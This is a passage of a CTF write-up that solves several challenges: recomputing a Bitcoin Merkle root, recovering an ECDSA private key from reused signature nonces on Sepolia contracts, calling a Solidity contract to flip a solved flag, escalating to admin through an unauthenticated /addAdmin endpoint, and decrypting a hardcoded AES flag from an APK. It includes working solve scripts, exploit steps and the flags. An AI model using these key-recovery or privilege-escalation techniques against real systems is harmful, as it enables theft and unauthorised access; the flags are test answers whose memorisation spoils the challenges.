    tx_hashes = [bytes.fromhex(tx)[::-1] for tx in transactions]
    
    # Build Merkle tree bottom-up
    while len(tx_hashes) > 1:
        # If odd number of hashes, duplicate the last one
        if len(tx_hashes) % 2 != 0:
            tx_hashes.append(tx_hashes[-1])
        
        # Calculate parent hashes
        new_level = []
        for i in range(0, len(tx_hashes), 2):
            parent = double_sha256(tx_hashes[i] + tx_hashes[i+1])
            new_level.append(parent)
        
        tx_hashes = new_level
    
    # Return result with reversed bytes for display
    return tx_hashes[0][::-1].hex()

# Calculate the new Merkle root
new_merkle_root = calculate_merkle_root(filtered_transactions)
print(f"New Merkle root: {new_merkle_root}")
# Output: fdc9e268aa0fca66941a8a4f18175dd36a65bc88e1bf4eb9ed0e3c8c550a205c

Step 4: Format the Flag

flag = f"r00t{{{new_merkle_root}}}"
print(flag)
# Output: r00t{fdc9e268aa0fca66941a8a4f18175dd36a65bc88e1bf4eb9ed0e3c8c550a205c}

Verification

To verify the solution is correct, we can check that our Merkle root calculation matches the original block’s Merkle root when using all transactions:

original_merkle = block['mrkl_root']
calculated_original = calculate_merkle_root(all_transactions)

print(f"Original: {original_merkle}")
print(f"Calculated: {calculated_original}")
print(f"Match: {original_merkle == calculated_original}")
# Output: Match: True

This confirms our implementation is correct before removing the transaction.


Common Pitfalls

  1. Incorrect Byte Order: Not reversing transaction hashes leads to incorrect Merkle roots. The API returns hashes in display format (little-endian), but calculations require internal format (big-endian).
  2. Wrong Duplication Strategy: Some implementations duplicate the last hash at each level, while Bitcoin duplicates it only when needed. Ensure you follow Bitcoin’s exact algorithm.
  3. Single Transaction Edge Case: If only one transaction remains after removal, it becomes the Merkle root directly (no hashing needed).
  4. API Reliability: Different blockchain APIs may return data in different formats. Always verify against known values.

Complete Solution Script

blockchain

the script

#!/usr/bin/env python3
import requests
import hashlib

BLOCK_NUMBER = 905090
TX_TO_REMOVE = "112f9873468fa1f4f0944269ece08c11a34ca064fd603fa7335e4c1a7ca3f943"

def double_sha256(data):
    """Calculate double SHA256 hash"""
    if isinstance(data, str):
        data = bytes.fromhex(data)
    return hashlib.sha256(hashlib.sha256(data).digest()).digest()

def calculate_merkle_root(transactions):
    """Calculate Merkle root with proper byte order handling"""
    if not transactions:
        return None
    
    tx_hashes = [bytes.fromhex(tx)[::-1] for tx in transactions]
    
    while len(tx_hashes) > 1:
        if len(tx_hashes) % 2 != 0:
            tx_hashes.append(tx_hashes[-1])
        
        new_level = []
        for i in range(0, len(tx_hashes), 2):
            parent = double_sha256(tx_hashes[i] + tx_hashes[i+1])
            new_level.append(parent)
        
        tx_hashes = new_level
    
    return tx_hashes[0][::-1].hex()

def main():
    print("[*] Ghost in the Block - Solution")
    print(f"[*] Block: {BLOCK_NUMBER}")
    print(f"[*] Transaction to remove: {TX_TO_REMOVE}")
    print()
    
    # Fetch block data
    url = f"https://blockchain.info/block-height/{BLOCK_NUMBER}?format=json"
    response = requests.get(url, timeout=10)
    data = response.json()
    block = data['blocks'][0]
    
    all_transactions = [tx['hash'] for tx in block['tx']]
    print(f"[+] Total transactions: {len(all_transactions)}")
    
    # Verify original Merkle root
    calculated_original = calculate_merkle_root(all_transactions)
    print(f"[+] Original merkle root: {block['mrkl_root']}")
    print(f"[+] Calculated matches: {calculated_original == block['mrkl_root']}")
    print()
    
    # Remove transaction and calculate new Merkle root
    if TX_TO_REMOVE in all_transactions:
        idx = all_transactions.index(TX_TO_REMOVE)
        print(f"[+] Found transaction at index: {idx}")
        
        filtered = [tx for tx in all_transactions if tx != TX_TO_REMOVE]
        print(f"[+] Remaining transactions: {len(filtered)}")
        print()
        
        new_merkle = calculate_merkle_root(filtered)
        print(f"[+] New Merkle root: {new_merkle}")
        print(f"[+] Flag: r00t{{{new_merkle}}}")
    else:
        print(f"[-] Transaction not found!")

if __name__ == "__main__":
    main()

Learning Outcomes

This challenge teaches important blockchain concepts:

  1. Merkle Trees: Understanding how transactions are organized and verified in blocks
  2. Cryptographic Hashing: Double SHA256 and its role in blockchain security
  3. Byte Order: The distinction between display format and internal representation
  4. API Integration: Working with blockchain explorers to retrieve data
  5. Bitcoin Protocol: How blocks are structured and validated

References


to the next…

7.Echoes in the curve

Challenge: Echoes in the Curve (WEB3)
points: 400
Author: Craig

Flag format: r00t{0x...}

echoes in the curve


Summary (one-line)

Two signed transactions stored as RLP bytes in on-chain contract storage reused the same ECDSA nonce, allowing recovery of the signer’s private key from the pair of signatures. The flag is the recovered private key.


Targets (on Sepolia)

  • Contract A: 0xf1000945300874d8FFe6392FBEdFBB1279B6E55f
  • Contract B: 0x3dCa65b7546ed94c81730B9b0C133A753446756e

Both contracts implement the same TxEmitter which stores pieces (chunks) of a raw RLP-encoded signed transaction.


Root cause / vulnerability

This is a classic ECDSA nonce reuse (same ephemeral k) vulnerability. When two different messages are signed with the same nonce k, the two signatures (r, s1) and (r, s2) leak the signing private key. The recovery formula is:

d = (s1*z2 - s2*z1) * inv(r * (s2 - s1)) mod n

where:

  • z1, z2 are the integer message hashes that were signed,
  • r is shared by both signatures,
  • s1, s2 are the signature s values,
  • n is the secp256k1 group order.

Approach

  1. Inspect the TxEmitter contract on Sepolia (Etherscan). It exposes:

    • chunkCount() -> uint256
    • getChunk(uint256) -> bytes
    • getAll() -> bytes

first one

the second

The constructor was given an array of bytes chunks which, when concatenated, form a raw RLP-encoded signed transaction.

2.Fetch all chunks from both contracts using the contract getChunk function (call chunkCount() first, then iterate getChunk(i)).

3.Concatenate the chunks to reconstruct the raw RLP signed transaction bytes.

4.Decode the RLP (legacy signed tx format) into fields:

[nonce, gasPrice, gasLimit, to, value, data, v, r, s]

and reconstruct the unsigned transaction hash z (this is the message digest used when signing). For legacy transactions, use the legacy serializable unsigned transaction to compute the hash().

  1. Extract r, s, and z for both transactions. Confirm that r is identical for both (nonce reuse indicator).
  2. Calculate the private key d using the nonce-reuse formula. Convert the integer into a 32-byte private key and derive the Ethereum address to sanity-check.
  3. The challenge’s expected flag is the private key in hex format inside r00t{0x...}.

Scripts & Commands

Requirements

python3 -m venv venv
source venv/bin/activate
pip install web3 eth-account rlp eth-utils

Final solve script

Save as solve_echoes_final.py (this is the exact working script i used):

# solve_echoes_final.py
from web3 import Web3
import rlp
from eth_account._utils.legacy_transactions import serializable_unsigned_transaction_from_dict
from eth_utils import keccak
from eth_account import Account
import sys
import traceback

# ------------------ EDIT THIS ------------------
RPC = "https://sepolia.infura.io/v3/YOUR_INFURA_PROJECT_ID"
#//get it from https://developer.metamask.io/key/active-endpoints
ADDRS = [
    "0xf1000945300874d8FFe6392FBEdFBB1279B6E55f",
    "0x3dCa65b7546ed94c81730B9b0C133A753446756e",
]
# -----------------------------------------------

def fatal(msg):
    print("FATAL:", msg)
    sys.exit(1)

def setup_web3():
    if not RPC or "YOUR_INFURA_PROJECT_ID" in RPC:
        fatal("RPC is not set or is placeholder. Edit RPC variable in the script with your Sepolia endpoint.")
    w3 = Web3(Web3.HTTPProvider(RPC))
    if not w3.is_connected():
        fatal(f"Cannot connect to RPC at {RPC}")
    print("[*] Connected to RPC. Chain id:", w3.eth.chain_id)
    return w3

ABI = [
    {
        "inputs": [],
        "name": "chunkCount",
        "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [{"internalType": "uint256", "name": "idx", "type": "uint256"}],
        "name": "getChunk",
        "outputs": [{"internalType": "bytes", "name": "", "type": "bytes"}],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "getAll",
        "outputs": [{"internalType": "bytes", "name": "full", "type": "bytes"}],
        "stateMutability": "view",
        "type": "function"
    }
]

def fetch_chunks(w3, addr):
    print(f"[*] Creating contract object for {addr}")
    c = w3.eth.contract(address=Web3.to_checksum_address(addr), abi=ABI)
    try:
        count = c.functions.chunkCount().call()
    except Exception as e:
        print("ERROR calling chunkCount():", e)
        try:
            print("[*] Attempting fallback: getAll()")
            allb = c.functions.getAll().call()
            print("[*] getAll() returned length:", len(allb))
            return allb
        except Exception as e2:
            fatal("Failed to call chunkCount() and fallback getAll(). Exception:
" + traceback.format_exc())
    print(f"[*] chunkCount = {count}")
    if count == 0:
        print("[!] chunkCount is zero. Trying getAll() as fallback.")
        try:
            allb = c.functions.getAll().call()
            print("[*] getAll() returned length:", len(allb))
            return allb
        except Exception as e:
            fatal("chunkCount=0 and getAll() failed: " + str(e))
    parts = []
    for i in range(count):
        try:
            chunk = c.functions.getChunk(i).call()
            print(f"    chunk[{i}] length = {len(chunk)}")
            parts.append(chunk)
        except Exception as e:
            fatal(f"Failed fetching chunk {i}: {e}\n{traceback.format_exc()}")
    full = b"".join(parts)
    print(f"[*] Reconstructed full bytes length: {len(full)}")
    return full

def parse_signed_tx(raw):
    try:
        fields = rlp.decode(raw)
    except Exception as e:
        print("ERROR decoding RLP. Raw length:", len(raw))
        print(" raw (first 120 hex):", raw[:60].hex())
        print(" raw (last 120 hex):", raw[-60:].hex())
        raise

    if len(fields) < 9:
        raise ValueError(f"Decoded RLP item length {len(fields)} < 9, not a standard legacy signed tx.")

    nonce = int.from_bytes(fields[0], "big")
    gasPrice = int.from_bytes(fields[1], "big")
    gas = int.from_bytes(fields[2], "big")
    to_b = fields[3]
    to = to_b.hex() if to_b else ""
    value = int.from_bytes(fields[4], "big")
    data = fields[5]
    v = int.from_bytes(fields[6], "big")
    r = int.from_bytes(fields[7], "big")
    s = int.from_bytes(fields[8], "big")

    unsigned = serializable_unsigned_transaction_from_dict({
        "nonce": nonce,
        "gasPrice": gasPrice,
        "gas": gas,
        "to": Web3.to_checksum_address(to) if to else None,
        "value": value,
        "data": data
    })
    z = int.from_bytes(unsigned.hash(), "big")
    return {"nonce": nonce, "gasPrice": gasPrice, "gas": gas, "to": to, "value": value, "data": data, "v": v, "r": r, "s": s, "z": z}

def recover_privkey_from_nonce_reuse(r, s1, z1, s2, z2):
    n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
    if (s2 - s1) % n == 0:
        fatal("s2 == s1 mod n, can't compute (degenerate case)")
    num = (s1 * z2 - s2 * z1) % n
    den = (r * (s2 - s1)) % n
    inv = pow(den, -1, n)
    d = (num * inv) % n
    return d

def main():
    try:
        w3 = setup_web3()
        txinfos = []
        for addr in ADDRS:
            print("\n[>] Fetching chunks for:", addr)
            raw = fetch_chunks(w3, addr)
            if not raw or len(raw) == 0:
                fatal(f"Empty raw bytes for contract {addr}")
            print("[*] Attempting to parse raw RLP for contract", addr)
            txinfo = parse_signed_tx(raw)
            print(f"    nonce: {txinfo['nonce']}, to: {txinfo['to']}, value: {txinfo['value']}")
            print(f"    v: {hex(txinfo['v'])}")
            print(f"    r: {hex(txinfo['r'])}")
            print(f"    s: {hex(txinfo['s'])}")
            print(f"    z (hash): {hex(txinfo['z'])}")
            txinfos.append(txinfo)

        if len(txinfos) != 2:
            fatal("Expected two transactions but got " + str(len(txinfos)))

        r1, r2 = txinfos[0]['r'], txinfos[1]['r']
        if r1 != r2:
            print("WARNING: r values differ. r1:", hex(r1), "r2:", hex(r2))
            fatal("Signatures do not share the same r; nonce-reuse assumption fails.")

        r = r1
        s1 = txinfos[0]['s']; z1 = txinfos[0]['z']
        s2 = txinfos[1]['s']; z2 = txinfos[1]['z']

        print("\n[*] Performing nonce-reuse private key recovery")
        priv = recover_privkey_from_nonce_reuse(r, s1, z1, s2, z2)
        print("[*] Recovered private key (int):", priv)
        priv_bytes = priv.to_bytes(32, "big")
        print("[*] Private key (hex): 0x" + priv_bytes.hex())

        acct = Account.from_key(priv_bytes)
        print("[*] Derived Ethereum address:", acct.address)
        print("\nFLAG = r00t{" + acct.address + "}")
    except Exception as e:
        print("\n--- EXCEPTION ---")
        traceback.print_exc()
        print("--- end exception ---")
        sys.exit(1)

if __name__ == "__main__":
    main()

Results (reproduction)

Running the script with a correct Sepolia RPC produced:

  • Transaction A (contract 0xf100...6E55f):

    • nonce = 1
    • to = 0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1
    • value = 2
    • v = 0x1b
    • r = 0x1456198d457b6a4bb1c624d35f62a96eb1d2981e89dd2c045823b1a37dcc3370
    • s = 0xdbf40259776409dd5ef6b8d9fb542fad9f27a5fb8a0babb2fe2b95eb81b0aff7
    • z = 0x632e5781d0c79ed1e83feeffad352e0b0fe859defb216dafceb8bd5a47f34d00
  • Transaction B (contract 0x3dCa65...6756e):

    • nonce = 1
    • to = 0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1
    • value = 1
    • v = 0x1b
    • r = 0x1456198d457b6a4bb1c624d35f62a96eb1d2981e89dd2c045823b1a37dcc3370
    • s = 0xda87c191ae779cd5252141bb170c3b14e84328dc52c9def82af64f14bd8955aa
    • z = 0x93c454dba158346454a4248f754256f8f9ac0dc65c817176cc40c64f1a46a6bc
  • Using the nonce-reuse formula, the recovered private key (hex) is:

0x0bebdb993f1033066fcb07f07d425d8a628e3c0bcbdd5ccc748d7626b7e53684
  • Derived address (sanity-check):
0x275C1eC387933d440B67652EeC57e4f4fa40daBB
  • Final flag (correct submission):
r00t{0x0bebdb993f1033066fcb07f07d425d8a628e3c0bcbdd5ccc748d7626b7e53684}

Notes & Lessons Learned

  • Always reconstruct on-chain data by calling on-chain getters (chunkCount, getChunk) rather than relying on Etherscan-decoded constructor bytes.
  • Use the exact same hashing/serialization the chain used (legacy transaction serialization for legacy-signed txns).
  • The classic k (nonce) reuse leak is trivial once you can extract the signature components and the signed message hashes.

to the next challenge on the list…

8.Smart Bid

smartbid

The challenge provides: A Solidity contract (Blockchain101.sol)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.30;

contract Blockchain101 {
    bool private chall_solved;

    constructor() payable {}

    function solveChall(string memory argument) public {
        if (keccak256(abi.encodePacked(argument)) == keccak256(abi.encodePacked("hackerschallenge"))) {
            chall_solved = true;
        }
        else {
            revert("Incorrect argument");
        }
    }

    function isSolved() external view returns (bool) {
        return chall_solved;
    }
}

A hosted blockchain instance you can deploy by solving a Proof-of-Work

RPC credentials, a private key, and the deployed contract address

The flag is released once the contract reports that the challenge has been solved.

Your task is to analyze the contract, understand what it requires, and interact with it via Web3 to satisfy the condition.

  1. Contract Analysis

Here’s the relevant part of the provided contract:

bool public chall_solved = false;
function solveChall(string memory argument) public {
    if (keccak256(bytes(argument)) == keccak256(bytes("hackerschallenge"))) {
        chall_solved = true;
    }
}
function isSolved() external view returns(bool) {
    return chall_solved;
}

There is no trick.The challenge boils down to:

Call solveChall()

Pass exactly this string: hackerschallenge

This flips chall_solved = true

isSolved() becomes true

The platform releases the flag through the UI

That’s it.

There is no signature requirement, no access restriction, no owner check, no hashing complication. The private key given by the challenge is simply your wallet on that ephemeral chain so you can execute transactions.

  1. **How to exploit it

    Step 1: Solve the PoW**

Use the provided command or “Solve in Browser”. After solving the PoW, click Launch to get:

RPC URL

Private Key

Wallet Address

Contract Address

  • Transaction Requirements

Since the challenge is on a real private blockchain instance, you must actually send a transaction, not just do a read-only call.

  1. Web3 Python Exploit Script (Working With Web3.py v6)

Web3.py v6 introduced breaking changes, so earlier scripts fail. Here is the fully working exploit used:

from web3 import Web3
import sys
import time
RPC_URL = "http://challenge.perfectroot.wiki:7337/REPLACE"
PRIVKEY = "0xREPLACE"
CONTRACT_ADDR = "0xREPLACE"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
if not w3.is_connected():
    print("ERROR: Could not connect to RPC.")
    sys.exit(1)
account = w3.eth.account.from_key(PRIVKEY)
from_address = account.address
print("Using wallet:", from_address)
abi = [
    {
        "inputs": [
            {"internalType": "string", "name": "argument", "type": "string"}
        ],
        "name": "solveChall",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {"internalType": "bool", "name": "", "type": "bool"}
        ],
        "stateMutability": "view",
        "type": "function"
    }
]
contract = w3.eth.contract(
    address=Web3.to_checksum_address(CONTRACT_ADDR),
    abi=abi
)
nonce = w3.eth.get_transaction_count(from_address)
tx = contract.functions.solveChall("hackerschallenge").build_transaction({
    "from": from_address,
    "nonce": nonce,
    "gas": 200000,
    "gasPrice": w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVKEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
print("Sent tx:", tx_hash.hex())
print("Waiting for transaction to be mined...")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120, poll_latency=1)
print("Receipt status:", receipt.status)
solved = contract.functions.isSolved().call()
print("isSolved():", solved)
if solved:
    print("SUCCESS — Challenge solved. Retrieve the flag in the UI.")
  1. Proof of Success

Running the script produced:

satoshi.py

Once isSolved() returned True, the challenge platform exposed the flag.

the flag

and that was it on that,now to the next one

9.RTFM

rtfm

Challenge Overview

The challenge provided a web service URL and a public.zip file containing the source code. The goal was to find the flag in the format r00t{}.

  • Challenge URL: http://challenge.perfectroot.wiki:34721
  • Flag Format: r00t{}

Vulnerability Analysis (RTFM)

Analysis of the provided source code (app.py) revealed a critical vulnerability in the /addAdmin endpoint.

The function addAdmin (lines 199-211) is responsible for promoting a user to an administrator:

@app.route('/addAdmin', methods=['GET'])
def addAdmin():
    username = request.args.get('username')
    
    if not username:
        return response('Invalid username'), 400
    
    result = makeUserAdmin(username)

    if result:
        return response('User updated!')
    return response('Invalid username'), 400
  1. Unauthenticated Access: The route is not protected by any authentication or authorization checks (e.g., it does not check for session.get('is_admin')).
  2. Insecure Direct Object Reference (IDOR): The function directly takes a username from the URL query parameters (request.args.get('username')) and passes it to the makeUserAdmin function, which updates the user’s is_admin status in the database.

This combination allows any unauthenticated user to promote any existing or newly registered user to an administrator simply by sending a GET request to the /addAdmin endpoint with the target username.

The flag is located in the /admin/dashboard endpoint (lines 252-273), which is only accessible to authenticated users with is_admin set to 1.

Exploitation Steps

The exploitation involved three main steps:

1. Register a New User

A new user was registered via the /api/register endpoint.

  • Username: havoc_admin
  • Password: securepassword123

2. Promote the User to Admin

The unauthenticated /addAdmin endpoint was used to promote the newly created user to an administrator.

  • Request: GET /addAdmin?username=havoc_admin
  • Result: The user havoc_admin was successfully updated to have is_admin=1.

3. Log in and Retrieve the Flag

The newly promoted admin user logged in via the /api/login endpoint to obtain a session cookie, which was then used to access the /admin/dashboard endpoint and retrieve the flag.

  • Request: GET /admin/dashboard

  • Response (JSON):

    {
        "FLAG": "r00t{749b487afaf662a9a398a325d3129849}",
        "message": "Admin panel accessed successfully",
        "success": true,
        "title": "Admin Dashboard"
    }
    

Final Flag

The flag is:

r00t{749b487afaf662a9a398a325d3129849}

10.Eternal Cipher

eternal cipher

here we go …

1. Initial Analysis

First, I examined the provided knight.apk file to understand its basic properties.

Command:

cd /home/ubuntu/upload && ls -lh knight.apk && file knight.apk

Output:

-rw-r--r-- 1 ubuntu ubuntu 4.1M Dec  5 10:40 knight.apk
knight.apk: Zip archive data, at least v0.0 to extract, compression method=deflate

Since the APK is a ZIP archive, I unzipped it to inspect its contents.

Command:

cd /home/ubuntu/upload && mkdir knight_extracted && unzip -q knight.apk -d knight_extracted && ls -la knight_extracted/

Output:

total 10708
drwxrwxr-x 7 ubuntu ubuntu     4096 Dec  5 10:40 .
drwxr-xr-x 3 ubuntu ubuntu     4096 Dec  5 10:40 ..
-rw-rw-r-- 1 ubuntu ubuntu     5316 Jan  1  1981 AndroidManifest.xml
-rw-rw-r-- 1 ubuntu ubuntu     1738 Jan  1  1981 DebugProbesKt.bin
drwxrwxr-x 4 ubuntu ubuntu     4096 Dec  5 10:40 META-INF
drwxrwxr-x 3 ubuntu ubuntu     4096 Dec  5 10:40 assets
-rw-r--r-- 1 ubuntu ubuntu 10494944 Jan  1  1981 classes.dex
drwxrwxr-x 8 ubuntu ubuntu     4096 Dec  5 10:40 kotlin
-rw-rw-r-- 1 ubuntu ubuntu      625 Jan  1  1981 kotlin-tooling-metadata.json
drwxrwxr-x 6 ubuntu ubuntu     4096 Dec  5 10:40 lib
drwxrwxr-x 3 ubuntu ubuntu     4096 Dec  5 10:40 res
-rw-rw-r-- 1 ubuntu ubuntu   417956 Jan  1  1981 resources.arsc

2. Decompilation

To understand the application’s logic, I decompiled the APK. I used jadx for this purpose.

JADX Installation:

cd /home/ubuntu/upload && wget -q https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip && unzip -q jadx-1.5.0.zip -d jadx

Decompilation Command:

cd /home/ubuntu/upload && ./jadx/bin/jadx knight.apk -d knight_java

Output:

INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 17

3. Source Code Analysis

Despite the errors, the decompilation was successful enough to analyze the source code. I started by looking for the main activity.

Find MainActivity:

find /home/ubuntu/upload/knight_java -path "*/com/example/knight/*.java"

Output:

/home/ubuntu/upload/knight_java/sources/com/example/knight/MainActivity.java
/home/ubuntu/upload/knight_java/sources/com/example/knight/R.java

I then searched for interesting strings within the decompiled source code, which led me to the core logic.

String Search in DEX file:

strings /home/ubuntu/upload/knight_extracted/classes.dex | grep -E "r00t|flag|cipher|dark.*knight|knight.*dark" -i | head -30

Output:

/()Landroidx/compose/ui/window/SecureFlagPolicy;
0(Landroidx/compose/ui/window/SecureFlagPolicy;)V
1(Landroidx/compose/ui/window/SecureFlagPolicy;Z)V
1(Landroidx/compose/ui/window/SecureFlagPolicy;Z)Z
2(Landroidx/compose/ui/window/SecureFlagPolicy;ZZ)V
2(ZLandroidx/compose/ui/window/SecureFlagPolicy;Z)I
2(ZZLandroidx/compose/ui/window/SecureFlagPolicy;)V
4(ZZLandroidx/compose/ui/window/SecureFlagPolicy;ZZ)V
5(ZZZLandroidx/compose/ui/window/SecureFlagPolicy;ZZ)V
6(ZZZLandroidx/compose/ui/window/SecureFlagPolicy;ZZZ)V
, configFlags=
Dark Knight's Secret
DefaultsInScopeFlag
DefaultsInvalidFlag
Enter the flag to proceed:
Flag
FlagContentControls
FlagContentIcons
FlagContentText
FlagTrimBottom
FlagTrimTop
ForcedRecomposeFlag
4Landroid/content/pm/PackageManager$PackageInfoFlags;
-Landroidx/compose/ui/window/SecureFlagPolicy;
DLandroidx/compose/ui/window/SecureFlagPolicy_androidKt$WhenMappings;
7Landroidx/compose/ui/window/SecureFlagPolicy_androidKt;
Ljavax/crypto/Cipher;
PopupPropertiesBaseFlags
RequiresRecomposeFlag
RereadingFlag

The string “Dark Knight’s Secret” led me to the ei.java file.

Find file with “Dark Knight”:

grep -r "Dark Knight" /home/ubuntu/upload/knight_java --include="*.java" 2>/dev/null

Output:

/home/ubuntu/upload/knight_java/sources/a/ei.java:            TextKt.m2432Text4IGK_g("Dark Knight's Secret", (Modifier) null, 0L, sp, (FontStyle) null, companion3.getMedium(), (FontFamily) null, 0L, (TextDecoration) null, (TextAlign) null, 0L, 0, false, 0, 0, (uc) null, (TextStyle) null, startRestartGroup, 199686, 0, 131030);

Analyzing ei.java revealed the encryption logic. It uses AES/CBC/PKCS5Padding and references jv.b for the key and jv.c for the IV.

Key parts of ei.java:

// ...
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
// ...
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, new SecretKeySpec(jv.b, "AES"), new IvParameterSpec(jv.c));
decoder = Base64.getDecoder();
decode = decoder.decode("bV1UW9qdTOd5C/lypR1AvS5K47Qvh/ojgjXVAAO82PObQvGNN6tcmTX0ONIjPTsj");
byte[] doFinal = cipher.doFinal(decode);
// ...

Next, I examined jv.java to find the key and IV.

Content of jv.java:

// ...
public static final byte[] b = {68, 52, 114, 75, 95, 75, 110, 49, 103, 104, 116, 95, 83, 51, 99, 114, 51, 116, 95, 75, 51, 121, 95, 99, 116, 102, 95, 67, 104, 52, 108, 108};
public static final byte[] c = {66, 52, 116, 95, 73, 86, 95, 68, 52, 114, 107, 95, 75, 110, 105, 103};
// ...

4. Decryption

With the encrypted string, key, and IV, I asked my buddy chatgpt to write a Python script to decrypt the flag.

Decryption Script (decrypt_flag.py):

#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Key and IV from jv.java
key_bytes = bytes([68, 52, 114, 75, 95, 75, 110, 49, 103, 104, 116, 95, 83, 51, 99, 114, 51, 116, 95, 75, 51, 121, 95, 99, 116, 102, 95, 67, 104, 52, 108, 108])
iv_bytes = bytes([66, 52, 116, 95, 73, 86, 95, 68, 52, 114, 107, 95, 75, 110, 105, 103])

# Encrypted Base64 string from ei.java
encrypted_base64 = "bV1UW9qdTOd5C/lypR1AvS5K47Qvh/ojgjXVAAO82PObQvGNN6tcmTX0ONIjPTsj"

# Decode Base64
encrypted_data = base64.b64decode(encrypted_base64)

# Create AES cipher in CBC mode
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# Decrypt
decrypted_data = cipher.decrypt(encrypted_data)

# Unpad the decrypted data
decrypted_text = unpad(decrypted_data, AES.block_size).decode('utf-8')

print(f"Decrypted flag: {decrypted_text}")
print(f"\nKey as string: {key_bytes.decode('utf-8', errors='ignore')}")
print(f"IV as string: {iv_bytes.decode('utf-8', errors='ignore')}")

Script Execution and Output:

First, I installed the necessary library:

sudo pip3 install -q pycryptodome

Then, I ran the script:

python3 decrypt_flag.py

Output:

Decrypted flag: k0t_r3v3rs3_kn1ght_n1nj4_07a51b8

Key as string: D4rK_Kn1ght_S3cr3t_K3y_ctf_Ch4ll
IV as string: B4t_IV_D4rk_Knig

5. The Flag

The decrypted text is the flag content. Formatting it as required gives the final flag.

Final Flag:

r00t{k0t_r3v3rs3_kn1ght_n1nj4_07a51b8}

and there you have it

Those were some of what i managed to solve.

Happy hacking!!

👋